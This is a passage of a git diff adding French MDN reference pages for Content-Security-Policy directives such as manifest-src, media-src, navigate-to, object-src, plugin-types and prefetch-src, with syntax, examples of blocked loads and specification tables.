on peut naviguer depuis un document, quel que soit le moyen de navigation (un lien, un formulaire, <code>window.location</code>, <code>window.open</code>, etc.)</dd> +</dl> + +<h3 id="Directives_de_rapport">Directives de rapport</h3> + +<p>Les directives de rapport permettent de contrôler ce qui se passe lorsqu'une règle CSP est violée. Voir également l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}}.</p> + +<dl> + <dt>{{CSP("report-uri")}}{{deprecated_inline}}</dt> + <dd>Indique à l'agent utilisateur de rapporter les tentatives d'enfreintes du CSP. Un rapport d'enfreinte est un ensemble de documents JSON envoyés via une requête HTTP <code>POST</code> à l'URI indiquée.</dd> +</dl> + +<div class="warning"> +<p>Bien que la directive <a href="https://wiki.developer.mozilla.org/fr/docs/Web/HTTP/Headers/Content-Security-Policy/report-to" title="La directive HTTP Content-Security-Policy (CSP) report-to demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP Report-To."><code>report-to</code></a> est prévue remplacer la directive <code><strong>report-uri</strong></code> maintenant dépréciée, <a href="https://wiki.developer.mozilla.org/fr/docs/Web/HTTP/Headers/Content-Security-Policy/report-to" title="La directive HTTP Content-Security-Policy (CSP) report-to demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP Report-To."><code>report-to</code></a> n'est pas encore supportée par la plupart des navigateurs modernes. Par rétrocompatibilité avec les navigateurs courants et tout en prévoyant une compatibilité future quand les navigateurs supporteront <a href="https://wiki.developer.mozilla.org/fr/docs/Web/HTTP/Headers/Content-Security-Policy/report-to" title="La directive HTTP Content-Security-Policy (CSP) report-to demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP Report-To."><code>report-to</code></a>, vous pouvez spécifier les deux directives <code><strong>report-uri</strong></code> et <a href="https://wiki.developer.mozilla.org/fr/docs/Web/HTTP/Headers/Content-Security-Policy/report-to" title="La directive HTTP Content-Security-Policy (CSP) report-to demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP Report-To."><code>report-to</code></a>:</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname</pre> + +<p>Dans les navigateurs qui supportent <a href="https://wiki.developer.mozilla.org/fr/docs/Web/HTTP/Headers/Content-Security-Policy/report-to" title="La directive HTTP Content-Security-Policy (CSP) report-to demande à l'agent utilisateur de rapporter les violations de règles CSP à l'adresse fournie dans un groupe de l'en-tête HTTP Report-To."><code>report-to</code></a>, la directive <code><strong>report-uri</strong></code> sera ignorée.</p> +</div> + +<dl> + <dt>{{CSP("report-to")}}{{experimental_inline}}</dt> + <dd>Déclenche un évènement <code>SecurityPolicyViolationEvent</code>.</dd> +</dl> + +<h3 id="Autres_directives">Autres directives</h3> + +<dl> + <dt>{{CSP("block-all-mixed-content")}}</dt> + <dd>Empêche le chargement de toute ressource via HTTP lorsque la page est chargée avec HTTPS.</dd> + <dt>{{CSP("referrer")}} {{deprecated_inline}}{{non-standard_inline}}</dt> + <dd>{{HTTPHeader("Referrer-Policy")}} doit être utilisé à la place. Était utilisée pour indiquer l'en-tête référent (sic) pour les liens sortants.</dd> + <dt>{{CSP("require-sri-for")}}{{experimental_inline}}</dt> + <dd>Oblige à utiliser le contrôle d'intégrité des sous-ressources ({{Glossary("SRI")}}) pour les scripts ou les styles de la page.</dd> + <dt>{{CSP("trusted-types")}}{{experimental_inline}}</dt> + <dd>Utilisée pour spécifier une liste de permissions de règles de <a href="https://w3c.github.io/webappsec-trusted-types/dist/spec/">Trusted Types</a>. Les Trusted Types permettent à des applications de verrouiller les puits d'injection XSS dans le DOM pour n'accepter que des valeurs typées et non falsifiables plutôt que des chaines de caractères.</dd> + <dt>{{CSP("upgrade-insecure-requests")}}</dt> + <dd>Indique à l'agent utilisateur de considérer toutes les URL non-sécurisées d'un site (celles servies via HTTP) comme si elles avaient été remplacées par des URL sécurisées. Cette directive est destinée aux sites web qui ont de nombreuses URL historiques non-sécurisées et qui doivent être réécrites.</dd> +</dl> + +<h2 id="Utilisation_du_CSP_dans_les_web_workers">Utilisation du <em>CSP</em> dans les <em>web workers</em></h2> + +<p>En général, les <em>web workers</em> ne sont pas gérés par les règles de sécurité du contenu du document (ou du <em>worker</em> parent) qui les a créé. Pour indiquer une règle de sécurité du contenu pour le <em>worker</em>, on utilisera un en-tête de réponse <code>Content-Security-Policy</code> pour la requête qui a demandé le script du <em>worker</em>.</p> + +<p>Il y a une exception à cette règle lorsque l'origine du script d'un <em>worker</em> est un identifiant global unique (par exemple si l'URL utilise un schéma de donnée ou un blob). Dans ce cas, le <em>worker</em> hérite de la règle de sécurité du contenu depuis le document ou le <em>worker</em> qui l'a créé.</p> + +<h2 id="Gérer_plusieurs_politiques_de_sécurité">Gérer plusieurs politiques de sécurité</h2> + +<p>Le CSP permet d'indiquer plusieurs règles pour une même ressource avec l'en-tête <code>Content-Security-Policy</code>, l'en-tête {{HTTPHeader("Content-Security-Policy-Report-Only")}} et l'élément {{HTMLElement("meta")}}.</p> + +<p>L'en-tête <code>Content-Security-Policy</code> peut être utilisé plus d'une fois comme illustré ci-après. On notera la directive {{CSP("connect-src")}} utilisée ici. Bien que la deuxième règle autorise la connexion, la première contient <code>connect-src 'none'</code>. L'ajout de règles supplémentaires permet uniquement d'augmenter les protections. Les niveaux les plus stricts pour chaque règle sont alors utilisés. Dans l'exemple qui suit, cela signifie que la directive <code>connect-src 'none'</code> sera respectée.</p> + +<pre class="notranslate">Content-Security-Policy: default-src 'self' http://example.com; + connect-src 'none'; +Content-Security-Policy: connect-src http://example.com/; + script-src http://example.com/</pre> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Exemple_1">Exemple 1</h3> + +<p>Dans cet exemple, on désactive les scripts écrits à même le document (<em>inline</em>), les opérations <code>eval()</code> et les ressources (images, polices, scripts, etc.) peuvent uniquement être chargées via HTTPS :</p> + +<pre class="notranslate">// en-tête HTTP +Content-Security-Policy: default-src https: + +// version avec la balise HTML meta +<meta http-equiv="Content-Security-Policy" content="default-src https:"> +</pre> + +<h3 id="Exemple_2">Exemple 2</h3> + +<p>Cet exemple est plutôt adapté pour un site historique qui utilise de nombreux scripts écrits dans les documents mais pour lequel on veut s'assurer que les ressources sont chargées via HTTPS et pour lequel on veut désactiver les plugins :</p> + +<pre class="notranslate">Content-Security-Policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none'</pre> + +<h3 id="Exemple_3">Exemple 3</h3> + +<p>On ne met pas en place la règle de sécurité mais on récolte les enfreintes qui se seraient produites pour cette règle :</p> + +<pre class="notranslate">Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/</pre> + +<p>Pour plus d'exemples, consulter <a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security#Examples_5">les recommandations de Mozilla pour la sécurité web</a>.</p> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">État</th> + <th scope="col">Commentaires</th> + </tr> + <tr> + <td>{{specName("CSP 3.0")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Ajout de <code>manifest-src</code>, <code>navigation-to</code>, <code>report-to</code>, <code>strict-dynamic</code>, <code>worker-src</code>. <code>frame-src</code> n'est plus déprécié. <code>report-uri</code> est déprécié au profit de <code>report-to</code>.</td> + </tr> + <tr> + <td>{{specName("Mixed Content")}}</td> + <td>{{Spec2("Mixed Content")}}</td> + <td>Ajout de <code>block-all-mixed-content</code>.</td> + </tr> + <tr> + <td>{{specName("Subresource Integrity")}}</td> + <td>{{Spec2("Subresource Integrity")}}</td> + <td>Ajout de <code>require-sri-for</code>.</td> + </tr> + <tr> + <td>{{specName("Upgrade Insecure Requests")}}</td> + <td>{{Spec2("Upgrade Insecure Requests")}}</td> + <td>Ajout de <code>upgrade-insecure-requests</code>.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1")}}</td> + <td>{{Spec2("CSP 1.1")}}</td> + <td>Ajout de <code>base-uri</code>, <code>child-src</code>, <code>form-action</code>, <code>frame-ancestors</code>, <code>plugin-types</code>, <code>referrer</code>, <code>reflected-xss</code> et <code>report-uri</code>. Dépréciation de <code>frame-src</code>.</td> + </tr> + <tr> + <td>{{specName("CSP 1.0")}}</td> + <td>{{Spec2("CSP 1.0")}}</td> + <td>Définition de <code>connect-src</code>, <code>default-src</code>, <code>font-src</code>, <code>frame-src</code>, <code>img-src</code>, <code>media-src</code>, <code>object-src</code>, report-uri, <code>sandbox</code>, <code>script-src</code> et <code>style-src</code>.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p>{{Compat("http.headers.csp.Content-Security-Policy")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li> + <li><a href="/fr/Add-ons/WebExtensions/Content_Security_Policy">La sécurité du contenu pour les WebExtensions</a></li> + <li> + <p><a href="/fr/docs/Outils/Barre_de_développement/Display_security_and_privacy_policies">Les sécurités pour l'affichage et la confidentialité dans les outils de développement de Firefox</a></p> + </li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/manifest-src/index.html b/files/fr/web/http/headers/content-security-policy/manifest-src/index.html new file mode 100644 index 0000000000..4f24083c47 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/manifest-src/index.html @@ -0,0 +1,93 @@ +--- +title: 'CSP: manifest-src' +slug: Web/HTTP/Headers/Content-Security-Policy/manifest-src +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Manifest + - Reference + - Security + - Sécurité + - manifest-src + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/manifest-src +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} <code><strong>manifest-src</strong></code> spécifie quel <a href="/en-US/docs/Web/Manifest">manifeste</a> peut être appliqué à la ressource.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>3</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: manifest-src <source>; +Content-Security-Policy: manifest-src <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Violation_cases">Violation cases</h3> + +<p>Soit cet en-tête CSP :</p> + +<pre class="brush: bash notranslate">Content-Security-Policy: manifest-src https://example.com/</pre> + +<p>Cet élément {{HTMLElement("link")}} sera bloqué et ne se chargera pas :</p> + +<pre class="brush: html notranslate"><link rel="manifest" href="https://not-example.com/manifest"></pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{specName("CSP 3.0", "#directive-manifest-src", "manifest-src")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.manifest-src")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li><a href="/en-US/docs/Web/Manifest">Web app manifest</a></li> + <li>{{HTMLElement("link")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/media-src/index.html b/files/fr/web/http/headers/content-security-policy/media-src/index.html new file mode 100644 index 0000000000..5c8e876be4 --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/media-src/index.html @@ -0,0 +1,101 @@ +--- +title: 'CSP: media-src' +slug: Web/HTTP/Headers/Content-Security-Policy/media-src +tags: + - CSP + - Conten-Security-Policy + - Directive + - HTTP + - Media + - Reference + - Security + - Sécurité + - media-src + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/media-src +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>media-src</strong></code> spécifie les sources valides pour charger des médias en utilisant des éléments tels que {{HTMLElement("audio")}} et {{HTMLElement("video")}}.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: media-src <source>; +Content-Security-Policy: media-src <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Cas_de_violation">Cas de violation</h3> + +<p>Soit cet en-tête CSP :</p> + +<pre class="brush: bash notranslate">Content-Security-Policy: media-src https://example.com/</pre> + +<p>Ces éléments {{HTMLElement("audio")}}, {{HTMLElement("video")}} et {{HTMLElement("track")}} seront bloqués et ne se chargeront pas :</p> + +<pre class="brush: html notranslate"><audio src="https://not-example.com/audio"></audio> + +<video src="https://not-example.com/video"> + <track kind="subtitles" src="https://not-example.com/subtitles"> +</video></pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{specName("CSP 3.0", "#directive-media-src", "media-src")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Inchangé.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-media-src", "media-src")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.media-src")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTMLElement("audio")}}, {{HTMLElement("video")}} and {{HTMLElement("track")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/navigate-to/index.html b/files/fr/web/http/headers/content-security-policy/navigate-to/index.html new file mode 100644 index 0000000000..19bd1d6e5b --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/navigate-to/index.html @@ -0,0 +1,104 @@ +--- +title: 'CSP: navigate-to' +slug: Web/HTTP/Headers/Content-Security-Policy/navigate-to +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Navigation + - Reference + - Security + - Sécurité + - navigate-to +translation_of: Web/HTTP/Headers/Content-Security-Policy/navigate-to +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>navigate</strong></code><strong><code>-to</code></strong> restreint les URL vers lesquelles un document peut initier une navigation de quelque manière que ce soit, dont {{HTMLElement("form")}} (si {{CSP("form-action")}} n'est pas spécifié), {{HTMLElement("a")}}, {{DOMxRef("window.location")}}, {{DOMxRef("window.open")}}, etc. Elle permet de renforcer les navigations que le document peut initier et <strong>non</strong> les adresses vers lesquelles ce document peut naviguer.</p> + +<div class="blockIndicator note"> +<p><strong>Note :</strong> Si la directive {{CSP("form-action")}} est présente, la directive <code>navigate-to</code> ne sera pas appliquée sur la navigation par la soumission de formulaire.</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>3</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Navigation directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td>Non, ne pas la définir autorise toutes les adresses.</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Une ou plusieurs sources peuvent être utilisées pour cette directive :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: navigate-to <source>; +Content-Security-Policy: navigate-to <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Configuration_par_balise_<meta>">Configuration par balise <meta></h3> + +<pre class="brush: html notranslate"><meta http-equiv="Content-Security-Policy" content="navigate-to 'none'"> +</pre> + +<h3 id="Cas_de_violation">Cas de violation</h3> + +<p>Utiliser l'élément {{HTMLElement("form")}} avec un attribut <code>action</code> défini à un script embarqué en JavaScript résultera en une violation de CSP :</p> + +<pre class="brush: html; example-bad notranslate"><meta http-equiv="Content-Security-Policy" content="navigate-to 'none'"> + +<form action="javascript:alert('Foo')" id="form1" method="post"> + <input type="text" name="fieldName" value="fieldValue"> + <input type="submit" id="submit" value="submit"> +</form> +</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + <tr> + <td>{{specName("CSP 3.0", "#directive-navigate-to", "navigate-to")}}</td> + <td>{{Spec2("CSP 3.0")}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.navigate-to")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPheader("Content-Security-Policy")}}</li> + <li>{{CSP("form-action")}}</li> + <li>Attribut <code>href</code> {{HTMLElement("a")}}</li> + <li>{{HTMLElement("form")}}</li> + <li>{{DOMxRef("window.location")}}</li> + <li>{{DOMxRef("window.open")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/object-src/index.html b/files/fr/web/http/headers/content-security-policy/object-src/index.html new file mode 100644 index 0000000000..0140afd0db --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/object-src/index.html @@ -0,0 +1,104 @@ +--- +title: 'CSP: object-src' +slug: Web/HTTP/Headers/Content-Security-Policy/object-src +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Object + - Reference + - Security + - Sécurité + - object-src + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/object-src +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} <code><strong>object-src</strong></code> spécifie les sources valides pour les éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}}.</p> + +<p>Pour définir des types autorisés pour les éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}}, voir la directive {{CSP("plugin-types")}}.</p> + +<p class="note">Les éléments contrôlés par <code>object-src</code> sont considérés peut-être par coïcidence comme des éléments HTML du passé et ne recevront de nouvelles fonctionnalités normalisées (comme les attributs de sécurité <code>sandbox</code> et <code>allow</code> pour <code><iframe></code>). De ce fait, il est <a href="https://csp.withgoogle.com/docs/strict-csp.html">recommandé</a> de restreindre cette directive, c'est-à-dire la définir explicitement à <code>object-src 'none'</code> dans la mesure du possible.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: object-src <source>; +Content-Security-Policy: object-src <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Cas_de_violation">Cas de violation</h3> + +<p>Soit cet en-tête CSP :</p> + +<pre class="brush: bash notranslate">Content-Security-Policy: object-src https://example.com/</pre> + +<p>Ces éléments {{HTMLElement("object")}}, {{HTMLElement("embed")}} et {{HTMLElement("applet")}} seront bloqués et ne se chargeront pas :</p> + +<pre class="brush: html notranslate"><embed src="https://not-example.com/flash"></embed> +<object data="https://not-example.com/plugin"></object> +<applet archive="https://not-example.com/java"></applet></pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{specName("CSP 3.0", "#directive-object-src", "object-src")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Inchangé.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-object-src", "object-src")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.object-src")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTMLElement("object")}}, {{HTMLElement("embed")}}, and {{HTMLElement("applet")}}</li> + <li>{{CSP("plugin-types")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/plugin-types/index.html b/files/fr/web/http/headers/content-security-policy/plugin-types/index.html new file mode 100644 index 0000000000..d91ed93f9b --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/plugin-types/index.html @@ -0,0 +1,121 @@ +--- +title: 'CSP: plugin-types' +slug: Web/HTTP/Headers/Content-Security-Policy/plugin-types +tags: + - CSP + - Content-Security-Policy + - Directive + - Flash + - Greffon + - HTTP + - Java + - Plugin + - Security + - Sécurité +translation_of: Web/HTTP/Headers/Content-Security-Policy/plugin-types +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>plugin-types</strong></code> restreint l'ensemble des greffons pouvant être intégrés dans un document en limitant les types de ressources pouvant être chargées.</p> + +<p>L'instanciation d'éléments {{HTMLElement("embed")}}, {{HTMLElement("object")}} ou {{HTMLElement("applet")}} échouera si :</p> + +<ul> + <li>l'élément à charger ne déclarer pas de type MIME valide,</li> + <li>le type déclaré ne correspond pas à un des types spécifiés dans la directive <code>plugin-types</code>,</li> + <li>les ressources demandées ne correspondent pas au type déclaré.</li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>2</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Document directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td>Non, ne pas la définir autorise toutes les ressources</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Un ou plusieurs <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">types MIME</a> peuvent être autorisées pour cette directive :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: plugin-types <type>/<subtype>; +Content-Security-Policy: plugin-types <type>/<subtype> <type>/<subtype>; +</pre> + +<dl> + <dt><type>/<subtype></dt> + <dd>Un <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Complete_list_of_MIME_types">type MIME</a> valide.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<h3 id="Interdire_les_greffons">Interdire les greffons</h3> + +<p>Pour intedire tous les greffons, la directive {{CSP("object-src")}} doit être définie à <code>'none'</code>. La directive <code>plugin-types</code> n'est utilisée que si vous autorisez au préalable les greffons avec <code>object-src</code>.</p> + +<pre class="brush: html notranslate"><meta http-equiv="Content-Security-Policy" content="object-src 'none'"></pre> + +<h3 id="Autoriser_le_contenu_Flash">Autoriser le contenu Flash</h3> + +<p>Soit cet en-tête CSP :</p> + +<pre class="brush: bash notranslate">Content-Security-Policy: plugin-types application/x-shockwave-flash</pre> + +<p>Cet objet Flash sera autorisé et se chargera (dans la mesure où le navigateur gère Flash) :</p> + +<pre class="brush: html notranslate"><object data="https://example.com/flash" type="application/x-shockwave-flash"></object></pre> + +<h3 id="Autoriser_les_applets_Java">Autoriser les applets Java</h3> + +<p>Pour charger une {{HTMLElement("applet")}}, vous devez spécifier la valeur <code>application/x-java-applet</code> :</p> + +<pre class="brush: bash notranslate">Content-Security-Policy: plugin-types application/x-java-applet</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{specName("CSP 3.0", "#directive-plugin-types", "plugin-types")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>Inchangé.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-plugin-types", "plugin-types")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Définition initiale.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.plugin-types")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}: {{CSP("object-src")}}</li> + <li>{{HTMLElement("object")}}</li> + <li>{{HTMLElement("embed")}}</li> + <li>{{HTMLElement("applet")}}</li> + <li>{{HTTPHeader("X-Content-Type-Options")}}</li> +</ul> diff --git a/files/fr/web/http/headers/content-security-policy/prefetch-src/index.html b/files/fr/web/http/headers/content-security-policy/prefetch-src/index.html new file mode 100644 index 0000000000..81d2f5f0fa --- /dev/null +++ b/files/fr/web/http/headers/content-security-policy/prefetch-src/index.html @@ -0,0 +1,88 @@ +--- +title: 'CSP: prefetch-src' +slug: Web/HTTP/Headers/Content-Security-Policy/prefetch-src +tags: + - CSP + - Content-Security-Policy + - Directive + - HTTP + - Reference + - prefetch-src + - source +translation_of: Web/HTTP/Headers/Content-Security-Policy/prefetch-src +--- +<div>{{HTTPSidebar}}</div> + +<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>prefetch-src</strong></code> spécifie les ressources pouvant être préchargées ou préaffichées.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>3</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> + +<pre class="syntaxbox notranslate">Content-Security-Policy: prefetch-src <source>; +Content-Security-Policy: prefetch-src <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("/fr/docs/Web/HTTP/Headers/Content-Security-Policy/default-src", "common_sources")}}</p> + +<h2 id="Exemple">Exemple</h2> + +<h3 id="Cas_de_violation">Cas de violation</h3> + +<p>Soit cet en-tête CSP :</p> + +<pre class="notranslate">Content-Security-Policy: prefetch-src https://example.com/ +</pre> + +<p>Les requêtes émises par ce code généreront des erreurs de réseau puisque les URL demandées ne correspondant pas à la liste de permissions de la directive <code>prefetch-src</code> :</p> + +<pre class="notranslate"><link rel="prefetch" src="https://example.org/"></link> +<link rel="prerender" src="https://example.org/"></link></pre> + +<h2 id="Spécification">Spécification</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + </thead> + <tbody> + 